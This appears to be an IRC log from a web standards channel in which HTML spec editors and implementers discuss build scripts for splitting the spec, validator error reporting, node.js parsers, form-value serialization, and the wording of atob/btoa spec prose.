Hixie: yeah, I'll need that

[21:48:01.0000] <benschwarz>
unless MikeSmith can tie up my confusion :)

[21:49:00.0000] <Hixie>
MikeSmith has the script, or some version of it

[21:49:01.0000] <Hixie>
failing that Philip` does too

[21:49:02.0000] <MikeSmith>
/me looks for the URL

[21:49:03.0000] <Hixie>
(i actually just farm out the file to a CGI script on Philip`'s site that then returns me a tarball)

[21:49:04.0000] <Hixie>
(so i don't have a copy myself)

[21:50:00.0000] <MikeSmith>
http://code.google.com/p/html5/source/browse/trunk/spec-splitter/

[21:50:01.0000] <MikeSmith>
I made some modifications to it for the dev.w3.org version

[21:50:02.0000] <MikeSmith>
but not sure if those would be relevant outside

[21:50:03.0000] <MikeSmith>
/me peruses the changes

[21:52:00.0000] <MikeSmith>
seems I added some stuff related to generating the index of terms

[21:52:01.0000] <MikeSmith>
but not sure if you want to use that

[21:52:02.0000] <benschwarz>
MikeSmith, Hixie, this is the Makefile that I have from the previous work I did.

[21:52:03.0000] <benschwarz>
https://gist.github.com/767586

[21:53:00.0000] <MikeSmith>
man that's ugly

[21:53:01.0000] <MikeSmith>
benschwarz: you don't need most of that

[21:54:00.0000] <MikeSmith>
I think all you really need from that is the MANIFEST target

[21:54:01.0000] <MikeSmith>
which is what runs the splitter

[21:54:02.0000] <MikeSmith>
in the ugly makefile

[21:55:00.0000] <MikeSmith>
and the grep and perl stuff in there is only for the purpose of figuring out the filenames and writing them to that manifest

[21:56:00.0000] <MikeSmith>
and the manifest is really only useful for the clean target

[21:57:00.0000] <MikeSmith>
so really all you probably need is the $(PYTHON) $(PYTHONFLAGS) $(SPLITTER) $(SPLITTERFLAGS) $<  part

[21:58:00.0000] <MikeSmith>
and maybe you don't even really need to use a makefile at all, but just put it into a shell script

[21:58:01.0000] <benschwarz>
so, just the `make manifest` block

[21:58:02.0000] <benschwarz>
?

[21:58:03.0000] <MikeSmith>
yeah

[21:59:00.0000] <MikeSmith>
with the dependency being the full spec source

[21:59:01.0000] <MikeSmith>
that is, instead of "spec.html", just whatever source you pull from Hixie -- "complete.html" or "index"

[21:59:02.0000] <MikeSmith>
oh

[22:00:00.0000] <MikeSmith>
strike that

[22:00:01.0000] <MikeSmith>
you will first need to do something to filter out the class=impl parts

[22:01:00.0000] <MikeSmith>
I guess you could reuse that xslt stylesheet I have there

[22:01:01.0000] <MikeSmith>
oh wait

[22:02:00.0000] <MikeSmith>
the stylesheet doesn't do that part

[22:02:01.0000] <MikeSmith>
anolis does

[22:02:02.0000] <MikeSmith>
so you should keep the spec.html target

[22:02:03.0000] <MikeSmith>
but remove the xslt stuff from it

[22:03:00.0000] <benschwarz>
forgive me, but how confusing!

[22:04:00.0000] <MikeSmith>
benschwarz: https://gist.github.com/767595

[22:04:01.0000] <benschwarz>
thats all that I need?

[22:05:00.0000] <MikeSmith>
hang on, I'll edit down the whole makefile to what you need

[22:05:01.0000] <benschwarz>
legend!

[22:12:00.0000] <MikeSmith>
benschwarz: ok, updated https://gist.github.com/767595

[22:13:00.0000] <MikeSmith>
ah wait

[22:13:01.0000] <MikeSmith>
you probably don't want "--enable terms" for now

[22:13:02.0000] <MikeSmith>
it will add a bunch of time to the build if you use it

[22:14:00.0000] <MikeSmith>
ok, removed that from the gist

[22:15:00.0000] <MikeSmith>
oh, need to remove "-make-index-of-terms"

[22:16:00.0000] <MikeSmith>
(updated)

[22:24:00.0000] <zcorpan>
MikeSmith: for title, script, style, etc, the validator just says "Error: End of file seen when expecting text or an end tag." and marks the last character of the file

[22:24:01.0000] <MikeSmith>
zcorpan: hmm

[22:25:00.0000] <MikeSmith>
yeah, that ain't good

[22:25:01.0000] <MikeSmith>
we will need to further refine Henri's refinement of my original patch

[22:27:00.0000] <MikeSmith>
Henri asked why I had implemented it using some additional lists (as stacks, basically) instead of just using the existing stack the parser already maintains

[22:27:01.0000] <MikeSmith>
and I couldn't remember at the time why

[22:27:02.0000] <MikeSmith>
now I remember :)

[22:29:00.0000] <MikeSmith>
but I guess it is better for the long term to have it implemented the way he refined it (by saving the location information in the existing stack)

[22:30:00.0000] <MikeSmith>
because there are probably other ways in which that will prove useful eventually

[22:30:01.0000] <MikeSmith>
so I guess I need to figure out how I can work with it to get it to handle the title, script, style cases

[22:30:02.0000] <MikeSmith>
as well as have it not report duplicate errors

[22:31:00.0000] <MikeSmith>
e.g., for http://www.w3.org/html/check?doc=data%3Atext%2Fhtml%3Bcharset%3Dutf-8%2C%3C%21DOCTYPE%2520html%3E%250A%3Ctitle%3E%3C%252Ftitle%3E%250A%3Cp%3E%3Cb%3E%3Ci%3E%3C%252Fp%3E%250A

[22:32:00.0000] <MikeSmith>
for data:text/html;charset=utf-8,<!DOCTYPE%20html>%0A<p><i><b><%2Fp>%0A<%2Fbody>

[22:51:00.0000] <benschwarz>
MikeSmith: https://github.com/benschwarz/developers.whatwg.org

[22:51:01.0000] <benschwarz>
;)

[22:53:00.0000] <Hixie>
you probably don't need the --w3c flag either :-)

[22:53:01.0000] <Hixie>
not sure what it does though so i could be wrong

[22:53:02.0000] <MikeSmith>
yeah, don't need it

[22:53:03.0000] <MikeSmith>
/me updates the gist

[22:54:00.0000] <Hixie>
also you probably want .../, not .../complete.html

[22:54:01.0000] <Hixie>
since complete.html contains a bunch of stuff for which i haven't added the class=impl annotations

[22:54:02.0000] <Hixie>
and for which i haven't written the domintro blocks

[22:55:00.0000] <MikeSmith>
ah

[22:56:00.0000] <MikeSmith>
/me updates the gist

[23:24:00.0000] <hsivonen>
MikeSmith: good point about duplicates. I have designed a fix (makin a taintable subclass of LocatorImpl and making cloned elements share one locator object so that they share taint)

[23:24:01.0000] <hsivonen>
MikeSmith: I'll implement later today when I get to my better text input method

[23:26:00.0000] <MikeSmith>
hsivonen: sounds great

[23:31:00.0000] <MikeSmith>
hsivonen: the case that Simon mentioned will seem to require additional/different finagling

[23:31:01.0000] <MikeSmith>
that is, unclosed title, script, style

[00:16:00.0000] <benschwarz>
Philip`: in the edition of the spec that I'm messing around with–spec-splitter.py adds a second doctype… Are you aware of this happening for anything else?

[00:40:00.0000] <MikeSmith>
heh, "XML is like violence — if it doesn’t solve your problems, you are not using enough of it"

[00:40:01.0000] <MikeSmith>
I guess that motto has been around for a while

[00:40:02.0000] <MikeSmith>
dunno how I missed it so far

[01:03:00.0000] <MikeSmith>
Hixie: if you still awake, can you get the spec ready for WD publication on Jan 13

[01:55:00.0000] <hsivonen>
looks like reporting the unclosed elements as errors is yet another nail in the coffin of test cases testing the exact number of parse errors for number > 0

[01:57:00.0000] <MikeSmith>
hsivonen: yeah

[02:49:00.0000] <annevk>
updated http://wiki.whatwg.org/wiki/Companion_specifications#DOM

[02:50:00.0000] <MikeSmith>
annevk: can you make any needed updates to the html4-diffs doc for publication on the 13th?

[02:51:00.0000] <Philip`>
benschwarz: I think I may have had doctype-related issues when changing between different versions of lxml

[02:51:01.0000] <benschwarz>
Philip`: cool… just wanted to give you a heads up

[02:52:00.0000] <Philip`>
I think I just made it so it works on my own machine, which is all that matters to me :-)

[02:52:01.0000] <annevk>
MikeSmith, yeah, that's doable

[02:54:00.0000] <MikeSmith>
annevk: OK

[02:54:01.0000] <MikeSmith>
so if you can please get it ready I'd appreciate it

[02:59:00.0000] <annevk>
MikeSmith, is it ok after the weekend?

[02:59:01.0000] <annevk>
MikeSmith, or during?

[02:59:02.0000] <MikeSmith>
after is fine

[03:45:00.0000] <hsivonen>
I wonder how this WebKit bug came into being: https://bugs.webkit.org/show_bug.cgi?id=48593

[03:46:00.0000] <hsivonen>
was someone trying to be helpful instead of reading specs?

[03:46:01.0000] <hsivonen>
or did someone accidentally lump comment nodes together with text and CDATA nodes in a branch condition somewhere?

[03:48:00.0000] <annevk>
sort of curious what happens with processing instructions now

[03:56:00.0000] <MikeSmith>
hsivonen: I have a simple patch for the xmlparser that I've also been meaning to ask you about

[03:56:01.0000] <MikeSmith>
for addressing http://bugzilla.validator.nu/show_bug.cgi?id=805

[03:57:00.0000] <MikeSmith>
dude is getting a "Error: The shape attribute on the a element is obsolete" for all a elements in his source despite not having any shape attribute on any of them

[03:58:00.0000] <MikeSmith>
due to the fact that he's selected "XML: load external entities"

[03:58:01.0000] <MikeSmith>
so the parser is reading the DTD and defaulting the shape attribute to "rect"

[03:58:02.0000] <MikeSmith>
because that's what the DTD requires

[03:59:00.0000] <MikeSmith>
but it's not something that's obvious at all to most end users

[03:59:01.0000] <annevk>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11124 -- consider doing A; considered A and rejected it; omg TrackerIssue!

[04:00:00.0000] <MikeSmith>
hsivonen: hence the proposed patch: https://bitbucket.org/validator/xmlparser-patches/qseries?apply=t&qs_apply=warn-default-attrs

[04:00:01.0000] <annevk>
editorial stuff that ends up as TrackerIssue is soooo... *yawn*

[04:03:00.0000] <MikeSmith>
if somebody adds the TrackerRequest keyword, the decision policy requires the chairs to issue-ify it

[04:05:00.0000] <MikeSmith>
though I guess that's not one that seems like it should merit much of everybody else's attention

[04:06:00.0000] <hsivonen>
MikeSmith: r=hsivonen

[04:06:01.0000] <hsivonen>
on the patch

[04:06:02.0000] <MikeSmith>
cool

[04:06:03.0000] <MikeSmith>
thanks

[04:06:04.0000] <MikeSmith>
wording is OK?

[04:06:05.0000] <MikeSmith>
no tweaks to suggest?

[04:06:06.0000] <hsivonen>
yes

[04:07:00.0000] <hsivonen>
yes to OK. no tweaks to suggest.

[04:07:01.0000] <MikeSmith>
ok

[04:08:00.0000] <hsivonen>
so what's the point of having multiple SSL cert classes below EV?

[04:09:00.0000] <hsivonen>
aren't they equivalent to the weakest level for practical purposes anyway if they are presented the same way to the user?

[04:09:01.0000] <hsivonen>
that is, what's the point of getting a class 3 cert if you can get the SSL indicator in browser UI using a class  1 cert?

[04:10:00.0000] <hsivonen>
/me wonders why Netscape didn't build itself a business model by charging CAs for the root certs they shipped

[04:16:00.0000] <Philip`>
Nobody would have paid to become a CA before SSL became popular enough to make it clear that it was worth it

[04:17:00.0000] <Philip`>
and once SSL became popular enough, Netscape couldn't demand money from CAs because the CAs could say no and Netscape couldn't remove them without hurting their users who want their online banks to continue working

[04:17:01.0000] <Philip`>
perhaps

[04:22:00.0000] <annevk>
CAs always seem kind of dodgy to me

[04:43:00.0000] <benschwarz>
ping! Hixie

[04:49:00.0000] <annevk>
benschwarz, not sure what timezone you are on, but Hixie seems to have adjusted his schedule to be slightly more sane (he's in California)

[04:49:01.0000] <benschwarz>
AEST

[04:49:02.0000] <benschwarz>
and I thought as much

[04:50:00.0000] <benschwarz>
I was just hopeful

[04:50:01.0000] <annevk>
Australia; tough :)

[05:04:00.0000] <annevk>
"For the first time, we included HTML5 H.264 video directly in posts." -- IEBlog

[05:13:00.0000] <annevk>
what is Mounir's IRC nick again?

[05:16:00.0000] <volkmar>
annevk: volkmar

[05:16:01.0000] <annevk>
ah right

[05:16:02.0000] <annevk>
so why can't the comma thing only be relevant for serialization?

[05:17:00.0000] <annevk>
it seems you don't want to remove it while the user is still editing

[05:18:00.0000] <volkmar>
what do you mean?

[05:20:00.0000] <annevk>
your solution 1 would do that

[05:23:00.0000] <volkmar>
annevk: my solution 1 would remove the last comma in the DOM if there is nothing else than trailing whitespaces after it

[05:26:00.0000] <MikeSmith>
tried https://github.com/aredridel/html5 -- HTML5 parser for node.js -- and seems usable

[05:26:01.0000] <MikeSmith>
though slow

[05:26:02.0000] <MikeSmith>
slower than html5lib

[05:27:00.0000] <MikeSmith>
1m47.097s to parse the HTML5 spec on my machine, versus 0m51.145s with html5lib

[05:27:01.0000] <annevk>
volkmar, but the user would still have it?

[05:28:00.0000] <annevk>
I guess it depends on what the field looks like :)

[05:28:01.0000] <annevk>
ideally it probably does not involve the user actually having to type commas

[05:28:02.0000] <hsivonen>
MikeSmith: what's the most popular XML tree representation for node.js? Does aredriedel's parser use whatever the most popular tree is?

[05:29:00.0000] <hsivonen>
/me should learn about node.js some day

[05:30:00.0000] <hsivonen>
I wonder if the GWT compiler manages to produce code that has few enough browser deps to work on node.js

[05:30:01.0000] <MikeSmith>
yeah, would be great if it did

[05:31:00.0000] <MikeSmith>
hsivonen: dunno which tree APIs are available now for node and which ones others might be using

[05:31:01.0000] <hsivonen>
ok :-(

[05:31:02.0000] <MikeSmith>
but things are still changing pretty rapidly in node-land

[05:32:00.0000] <MikeSmith>
 but aredridel seems to have his head in the right place

[05:33:00.0000] <MikeSmith>
see the "Interesting features" part of https://github.com/aredridel/html5#readme

[05:33:01.0000] <MikeSmith>
[[

[05:33:02.0000] <MikeSmith>
Streaming parser: You can pass parser.parse an EventEmitter and the parser will keep adding data as it's received.

[05:33:03.0000] <MikeSmith>
HTML5 parsing algorithm. If you find something this can't parse, I'll want to know about it. It should make sense out of anything a browser can.

[05:33:04.0000] <MikeSmith>
]]

[05:34:00.0000] <MikeSmith>
hsivonen: anyway, I think hober is probably a lot more current than me around the state of the parsing and document API stuff in node

[05:34:01.0000] <MikeSmith>
jsdom

[05:38:00.0000] <MikeSmith>
window = jsdom.createWindow(null, null, {parser: HTML5});

[05:38:01.0000] <MikeSmith>
jsdom.jQueryify(window, 'deps/jquery/dist/jquery.js', function(window, jquery) {

[05:38:02.0000] <MikeSmith>
    Script.runInNewContext('jQuery("p").append("<b>Hi!</b>")', window);

[05:38:03.0000] <MikeSmith>
    sys.puts(window.document.innerHTML);

[05:38:04.0000] <MikeSmith>
interesting

[05:38:05.0000] <volkmar>
annevk: if there is a UI for autocompletion for example, it needs to know which token is currently edited so when you select on item in the list a comma needs to be added

[05:38:06.0000] <volkmar>
that way you can select multiple values one after the other

[05:39:00.0000] <volkmar>
but this comma should not block the form submission

[05:39:01.0000] <volkmar>
and i don't see anything changed in the specs to make this happen

[05:40:00.0000] <hsivonen>
MikeSmith: is that jsdom a DOM impl. in pure JS?

[05:40:01.0000] <MikeSmith>
yes

[05:40:02.0000] <hsivonen>
MikeSmith: does it do Level 2?

[05:40:03.0000] <MikeSmith>
yeah, it does now, I think

[05:41:00.0000] <MikeSmith>
did not initially

[05:41:01.0000] <MikeSmith>
but was added within the last few months

[05:41:02.0000] <hsivonen>
well, then it should be easy to use the V.nu parser on node.js

[05:41:03.0000] <hsivonen>
might be worth trying if it already runs as-is

[05:42:00.0000] <MikeSmith>
see https://github.com/tmpvar/jsdom/blob/master/example/browser/browser.js

[05:42:01.0000] <hsivonen>
assuming node.js has setTimeout()

[05:42:02.0000] <MikeSmith>
it does

[05:42:03.0000] <MikeSmith>
it has everything that V8 has currently

[05:43:00.0000] <hsivonen>
I really should play with node.js some time

[05:43:01.0000] <MikeSmith>
yeah

[05:43:02.0000] <MikeSmith>
I definitely recommend it

[05:43:03.0000] <MikeSmith>
just hard to keep up with because things are getting changed/added daily

[05:43:04.0000] <MikeSmith>
embarrassment of riches

[05:44:00.0000] <MikeSmith>
#Node.js channel is a good place to reach some of the core node devs

[05:44:01.0000] <hsivonen>
ok. I implemented duplicate error suppression for unclose elements

[05:44:02.0000] <MikeSmith>
oh cool

[05:44:03.0000] <MikeSmith>
you fast

[05:44:04.0000] <hsivonen>
I'll get it pushed.

[05:46:00.0000] <annevk>
volkmar, how does the "latest values" concept not work?

[05:47:00.0000] <annevk>
although it does not seem entirely clear how everything fits together :/

[05:47:01.0000] <hsivonen>
MikeSmith: writing code in Java without proper unit tests is so much faster than writing C++ with unit tests.

[05:47:02.0000] <MikeSmith>
heh

[05:52:00.0000] <artenix>
Hi. Is this a channel to discuss the HTML5 spec doc on w3c site?

[05:53:00.0000] <volkmar>
annevk: for what i understand, the "latest values" concept doesn't take into account the case where the last value is the empty string after removing whitespaces

[05:53:01.0000] <Philip`>
artenix: Yes

[05:53:02.0000] <volkmar>
so "a, b, c, " will be changed to "a,b,c,"

[05:54:00.0000] <artenix>
Philip tnx. One sentence says: "Another example of the mark element is highlighting parts of a document that are matching some search string. If someone looked at a document, and the server knew that the user was searching for the word "kitten", then the server might return the document with one paragraph modified as follows" I remember Google has been granted a patent for doing something very similar

[05:56:00.0000] <annevk>
volkmar, is that actually a value though? hmm

[05:57:00.0000] <annevk>
I guess it should remove those that are empty from latest values just in case

[06:00:00.0000] <artenix>
it is just an example of use of mark tag, but it sounds like google's patent

[06:01:00.0000] <annevk>
artenix, well, the W3C has a Patent Policy and Google is a member of the group

[06:02:00.0000] <artenix>
im just a developer not a lawyer

[06:03:00.0000] <artenix>
Annevk so there is ok to have that example on spec right?

[06:03:01.0000] <artenix>
s/there is/is it

[06:05:00.0000] <MikeSmith>
hsivonen: have you ever done any benchmarking with the GWT version of the parser?

[06:05:01.0000] <annevk>
well, I'm not a lawyer either, but the basic idea is that if a Member organization holds a patent on some technology in a specification, which the Member organization helps developing through a W3C Working Group, the Member organization gives away a RF-license for said patent for everyone to use

[06:07:00.0000] <artenix>
annvek cool I was not aware of that. Tnx! Have to go. See you all later.

[06:13:00.0000] <hsivonen>
MikeSmith: I have but JS engines and JS-to-DOM glue have improved since then

[06:14:00.0000] <MikeSmith>
ok

[06:14:01.0000] <hsivonen>
MikeSmith: back in the Firefox 3.5 days, either DOM/layout dominated or the code didn't get traced

[06:14:02.0000] <hsivonen>
MikeSmith: because back then tracer on vs tracer off showed no difference

[06:15:00.0000] <MikeSmith>
I see

[06:16:00.0000] <MikeSmith>
well, current node -- 0.3 -- is up to date with latest V8 I think

[06:16:01.0000] <MikeSmith>
so in addition to the performance stuff that was there already, it has the crankshaft optimizations that were added more recently

[06:43:00.0000] <annevk>
https://github.com/aredridel/html5 didn't know about this

[06:43:01.0000] <annevk>
cool

[08:28:00.0000] <webr3>
I've just said: "one huge ommission from html imho, is that you can't include remote document fragments, would cater for many needs which are thrown on to "ajax" and iframes" - and somebodies replied that you can do this in HTML5

[08:28:01.0000] <webr3>
is that right? pointer to a spec or section?

[08:31:00.0000] <annevk>
<iframe>?

[08:32:00.0000] <MikeSmith>
XHR.responseText…

[08:32:01.0000] <webr3>
nah, more like an ssi where the document fragment becomes part of the main doc context, not in it's own frame/context

[08:32:02.0000] <Philip`>
<iframe seamless>?

[08:32:03.0000] <webr3>
Philip` that may be it, will check

[08:33:00.0000] <annevk>
SSI is server-side

[08:33:01.0000] <annevk>
and the rest is details, really

[08:33:02.0000] <Philip`>
It's still like an iframe in the DOM, so it doesn't introduce scary security issues, but should render less like an independent frame

[08:34:00.0000] <webr3>
Philip` cool - cheers

[08:34:01.0000] <annevk>
<iframe sandbox seamless> to be totally safe

[08:34:02.0000] <annevk>
but it's just a specific form of <iframe>

[08:36:00.0000] <webr3>
and iframes allow document fragments (as in no html/head/body etc?)

[08:36:01.0000] <webr3>
and can inherit css from main doc?

[08:38:00.0000] <annevk>
former no, latter yes

[08:39:00.0000] <webr3>
annevk, ty

[08:39:01.0000] <Philip`>
Full documents don't need html/head/body tags, though

[08:40:00.0000] <Philip`>
so you can write something that looks a lot like a fragment

[08:40:01.0000] <webr3>
is doctype still required?

[08:41:00.0000] <webr3>
our would say "<ul><li>foo</li></ul>" w/ text/html media type be "valid" html?

[08:42:00.0000] <annevk>
need doctype

[08:42:01.0000] <annevk>
except maybe in srcdoc=""

[08:43:00.0000] <Philip`>
Hmm, also need <title> unless it's in srcdoc

[08:43:01.0000] <webr3>
Philip`, ty that was my next question lol

[08:43:02.0000] <Philip`>
Maybe it's not quite so fragmenty, then :-(

[08:44:00.0000] <webr3>
would be nice if there was a media-type for html fragments, w/ +xml variant for the obvious

[08:45:00.0000] <annevk>
what's wrong with merging server-side?

[08:45:01.0000] <webr3>
cacheing, network effects etc etc

[08:45:02.0000] <webr3>
anyhow, random train of thought, which I've not thought about long enough to warrent a full discussion (or for me to back up why I'm asking ;)

[08:45:03.0000] <webr3>
tyvm :)

[08:46:00.0000] <annevk>
right... would need to be researched first before we add a bunch more complexity

[08:46:01.0000] <webr3>
exactly

[08:47:00.0000] <annevk>
typically though not having to do an additional request wins from caching

[08:47:01.0000] <annevk>
this is also e.g. why google.com has a bunch of stuff inlined rather than as external resource

[09:27:00.0000] <Ms2ger>
Hixie, ping

[09:42:00.0000] <charlvn>
i seem to be getting "This is a work in progress!" on the actual editors draft which the message links to

[09:46:00.0000] <annevk>
that's temporary

[09:47:00.0000] <annevk>
we're about to publish drafts

[09:53:00.0000] <charlvn>
cool np

[10:07:00.0000] <Hixie>
Ms2ger: pong

[10:11:00.0000] <annevk>
shit

[10:11:01.0000] <annevk>
I replied on public-html

[10:34:00.0000] <annevk>
Hixie, I think what volkmar is missing is that the empty string is not a value

[10:35:00.0000] <Hixie>
ah

[10:35:01.0000] <annevk>
e.g. if the user has a@a,b@b,c@c and then deletes b@b through backspace from his list

[10:35:02.0000] <Hixie>
well we'll see when he replies i guess

[10:35:03.0000] <annevk>
or deletes c@c but not the comma

[10:35:04.0000] <Hixie>
hey does hallvord ever hang out on irc?

[10:35:05.0000] <annevk>
seldomly

[10:35:06.0000] <Hixie>
k

[10:36:00.0000] <annevk>
-ly, apparently

[10:38:00.0000] <Hixie>
afk, bbiab

[10:40:00.0000] <Philip`>
If I want to display some program code with <pre><code>... the code ...</code></pre>, and then want to insert some annotations inline to highlight particular features (like "// This section is setting up stuff for the thing", probably rendered in a different colour), what's appropriate markup?

[10:40:01.0000] <annevk>
http://www.asymco.com/2011/01/06/this-is-the-most-exciting-ces-ever/

[10:41:00.0000] <annevk>
"These actions confirm the end of the PC era."

[10:44:00.0000] <charlvn>
why does this sound so familiar... oh yes 10 years ago the media said the same thing :P

[10:44:01.0000] <volkmar>
Hixie: so "a@a, b@b, c@c," should be reprensented as "a@a,b@b,c@c" in the DOM?

[10:45:00.0000] <charlvn>
oh wait, after reading the post it seems it was just misworded. should have been "end of the windows era"

[10:46:00.0000] <AryehGregor>
Hixie, you told me in an e-mail on November 29 that all spec prose and tests are supposed to be copyright Google.

[10:46:01.0000] <annevk>
volkmar, the basic idea is that what the user sees is "irrelevant"

[10:46:02.0000] <volkmar>
annevk: i got that

[10:47:00.0000] <annevk>
volkmar, so if you have a bunch of values the user entered and want to serialize them, you end up with your second representation

[10:47:01.0000] <annevk>
assuming the values were a@a / b@b / c@c

[10:48:00.0000] <annevk>
but if the user enters these space-separated, comma-separated, colon-separated, or via some kind of better UI is very much up to the UA

[10:48:01.0000] <volkmar>
annevk: it's not clear to me that the serialization algorithm doesn't take into account empty values

[10:48:02.0000] <annevk>
yeah, when I told Hixie that he said "well we'll see when he replies i guess"

[10:50:00.0000] <annevk>
I wonder if it is implied somehow because everywhere else empty is equal to no value, but it would not hurt if it was made more explicit

[10:52:00.0000] <Workshiva>
annevk: The article also seems to ignore the existence of AMD

[10:53:00.0000] <annevk>
AMD?

[10:53:01.0000] <Workshiva>
You know, the company that isn't intel but still makes CPUs

[10:59:00.0000] <Philip`>
The one that's less than 20% of the x86 CPU market?

[11:07:00.0000] <Workshiva>
Philip`: What percentage of the PC market does ARM currently have? :)

[11:08:00.0000] <Philip`>
ARM doesn't make processors so it has zero percent in any market :-p

[11:08:01.0000] <Workshiva>
Besides, Microsoft long ago decided to port windows to x64, an architecture from Intel's arch enemy.

[11:09:00.0000] <mpilgrim>
ah Philip`, always the pedant

[11:12:00.0000] <Philip`>
Workshiva: Intel could (and did) adopt and extend the x64 architecture (because of patent cross-licensing), so that didn't hurt them - they just implemented it and took all the market share

[11:12:01.0000] <Philip`>
I expect they can't do that with ARM architectures

[11:14:00.0000] <AryehGregor>
Didn't I just read that NVIDIA is expanding into ARM?

[11:14:01.0000] <AryehGregor>
It would be cool if ARM killed x86 sometime, but it seems unlikely as long as Windows remains the dominant OS.  Windows is a pretty lame contender without the massive base of binary applications.

[11:15:00.0000] <Workshiva>
And the massive base of existing hardware

[11:15:01.0000] <Philip`>
http://pressroom.nvidia.com/easyir/customrel.do?easyirid=A0D622CE9F579F09&version=live&releasejsp=release_157&xhtml=true&prid=705184

[11:15:02.0000] <Philip`>
"NVIDIA announced today that it plans to build high-performance ARM® based CPU cores, designed to support future products ranging from personal computers and servers to workstations and supercomputers."

[11:16:00.0000] <AryehGregor>
Workshiva, people replace their hardware every few years, that's no issue if their software continues to work.

[11:16:01.0000] <AryehGregor>
So is NVIDIA planning to back Linux and kill Microsoft, or get Mac to switch its CPU architecture for a second time in a few years, or what?

[11:17:00.0000] <Workshiva>
Did you miss the announcement of Windows 8 supporting ARM?

[11:17:01.0000] <Philip`>
AryehGregor: http://blogs.nvidia.com/2011/01/project-denver-processor-to-usher-in-new-era-of-computing/ - "Microsoft’s announcement that it is bringing Windows to ultra-low power processors like ARM-based CPUs provides the final ingredient needed to enable ARM-based PCs based on Denver."

[11:17:02.0000] <AryehGregor>
Ah.

[11:17:03.0000] <Philip`>
Sounds like they're happy to stick with Microsoft

[11:17:04.0000] <AryehGregor>
Yeah, but who's actually going to use Windows if you can't get all the applications?

[11:18:00.0000] <AryehGregor>
I'd think it'd be squarely worse than Linux in that case.

[11:18:01.0000] <AryehGregor>
Although maybe I'm biased, since I hate Windows.  And hate Linux significantly less (usually).

[11:19:00.0000] <Philip`>
I thought people didn't use applications nowadays, except for Office and a web browser

[11:19:01.0000] <Philip`>
which Microsoft are porting to ARM

[11:19:02.0000] <Workshiva>
You'd be surprised how bad Linux is without a fiercely devoted relative tech support

[11:20:00.0000] <AryehGregor>
Windows can be pretty terrible too if you don't have a relative for tech support.

[11:20:01.0000] <Workshiva>
With Windows everyone is your tech support

[11:20:02.0000] <AryehGregor>
What with all the viruses and such.  Although granted, when it fails, it usually doesn't fail as horribly.

[11:20:03.0000] <AryehGregor>
True.

[11:20:04.0000] <AryehGregor>
Well, we'll see.

[11:20:05.0000] <AryehGregor>
Competition in the CPU market can only be a good thing.

[11:21:00.0000] <Philip`>
(I suppose people still run games, but usually mostly new games, and NVIDIA can ask the developers to port their new games)

[11:21:01.0000] <Workshiva>
I'm sure emulation isn't impossible either

[11:21:02.0000] <AryehGregor>
If the ARM chips are fast enough, then emulation would be workable, yeah.

[11:21:03.0000] <AryehGregor>
But not if we're talking low-powered notebooks where you're hoping to save lots of power.

[11:22:00.0000] <AryehGregor>
Philip`, games are often assembly-optimized . . .

[11:22:01.0000] <Philip`>
AryehGregor: Usually only tiny bits of them, and they already have to support PPC anyway (for consoles)

[11:23:00.0000] <Philip`>
so they already have to deal with portability issues

[11:26:00.0000] <annevk>
anyone been following reddit lately? http://www.reddit.com/r/reddit.com/comments/exdpc/b/ this guy really

[11:26:01.0000] <Workshiva>
really

[11:27:00.0000] <miketaylr>
annevk: that Sure_Ill_Draw_That guy is awesome

[11:27:01.0000] <Hixie>
volkmar: what do you mean by "a@a, b@b, c@c,"?

[11:27:02.0000] <Hixie>
AryehGregor: copyright google works as well

[11:34:00.0000] <AryehGregor>
Hixie, now what spec do I submit my spec prose to for atob() and btoa()?

[11:34:01.0000] <AryehGregor>
(in case you didn't see the latest version: http://aryeh.name/tmp/spec.html)

[11:35:00.0000] <Hixie>
they're on Window?

[11:35:01.0000] <Hixie>
i guess the html spec

[11:35:02.0000] <Hixie>
unless DOM Core has any Window stuff? annevk?

[11:36:00.0000] <Hixie>
comments on the draft spec:

[11:36:01.0000] <Ms2ger>
No

[11:36:02.0000] <annevk>
Hixie, don't want Window

[11:36:03.0000] <Ms2ger>
DOM Core isn't touching Window

[11:36:04.0000] <Hixie>
k

[11:37:00.0000] <Hixie>
then yeah, html

[11:37:01.0000] <Hixie>
AryehGregor: send mail to whatwg with the text and link to the tests, and then when i add it to the spec we can add the tests to the htmlwg's test suite

[11:37:02.0000] <annevk>
One of the goals is to not reference HTML5

[11:37:03.0000] <AryehGregor>
Hixie, I already added it to the HTMLWG's test suite.

[11:37:04.0000] <Hixie>
awesome

[11:37:05.0000] <Hixie>
anyawy, comments on the spec:

[11:38:00.0000] <Hixie>
the regexp scares me, but i can't come up with a rational argument against it.

[11:38:01.0000] <AryehGregor>
http://dvcs.w3.org/hg/html/

[11:38:02.0000] <AryehGregor>
I tried to write it in prose, but it looked like it would be way more complicated.

[11:38:03.0000] <Hixie>
the "repeat" step is unclear about when you end the loop, e.g. if the input is the empty string, do you run it at least once? (that's why i end up using gotos a lot rather than structured loops... english is hard to make structured loops with)

[11:39:00.0000] <AryehGregor>
The Firefox implementation actually just throws exceptions at various points in the algorithm proper, but that would be significantly longer to write.

[11:40:00.0000] <AryehGregor>
I guess the reason against the regex is that nobody's likely to implement it that way.

[11:40:01.0000] <AryehGregor>
So it's harder to check if the implementation is correct by source inspection.

[11:40:02.0000] <AryehGregor>
Although it's easier to check that the tests are correct, since in JavaScript it's simpler.

[11:40:03.0000] <AryehGregor>
I dunno, do any implementers have opinions?

[11:41:00.0000] <AryehGregor>
As for the loop, how about: "While position does not point past the end of input:"

[11:41:01.0000] <AryehGregor>
That clearly suggests the C definition of "while", so I think it's nicer than a purely procedural way.  Of course, we could define what we mean by "while" for extra clarity.

[11:42:00.0000] <AryehGregor>
But if it's going in HTML, obviously you get the final say over the exact wording, so maybe no point in nitpicking.

[11:42:01.0000] <AryehGregor>
(I'm sure you'll make my <ul>s into <ol>s too, even though that degrades appearance in all UAs, irreparably in non-CSS UAs.)

[11:42:02.0000] <annevk>
AryehGregor, what you describe under atob is not a binary string

[11:42:03.0000] <annevk>
AryehGregor, it's a series of octets

[11:43:00.0000] <AryehGregor>
What's the difference?

[11:43:01.0000] <annevk>
a string consists of Unicode characters, not bytes

[11:43:02.0000] <Hixie>
atob() takes a string as input

[11:43:03.0000] <annevk>
sure

[11:43:04.0000] <Hixie>
as does btoa()

[11:43:05.0000] <AryehGregor>
/me changes it to "sequence of octets"

[11:43:06.0000] <Hixie>
since JS only has a string type

[11:44:00.0000] <annevk>
you should read the spec again Hixie :)

[11:44:01.0000] <AryehGregor>
Not now, I've changed it.

[11:44:02.0000] <Hixie>
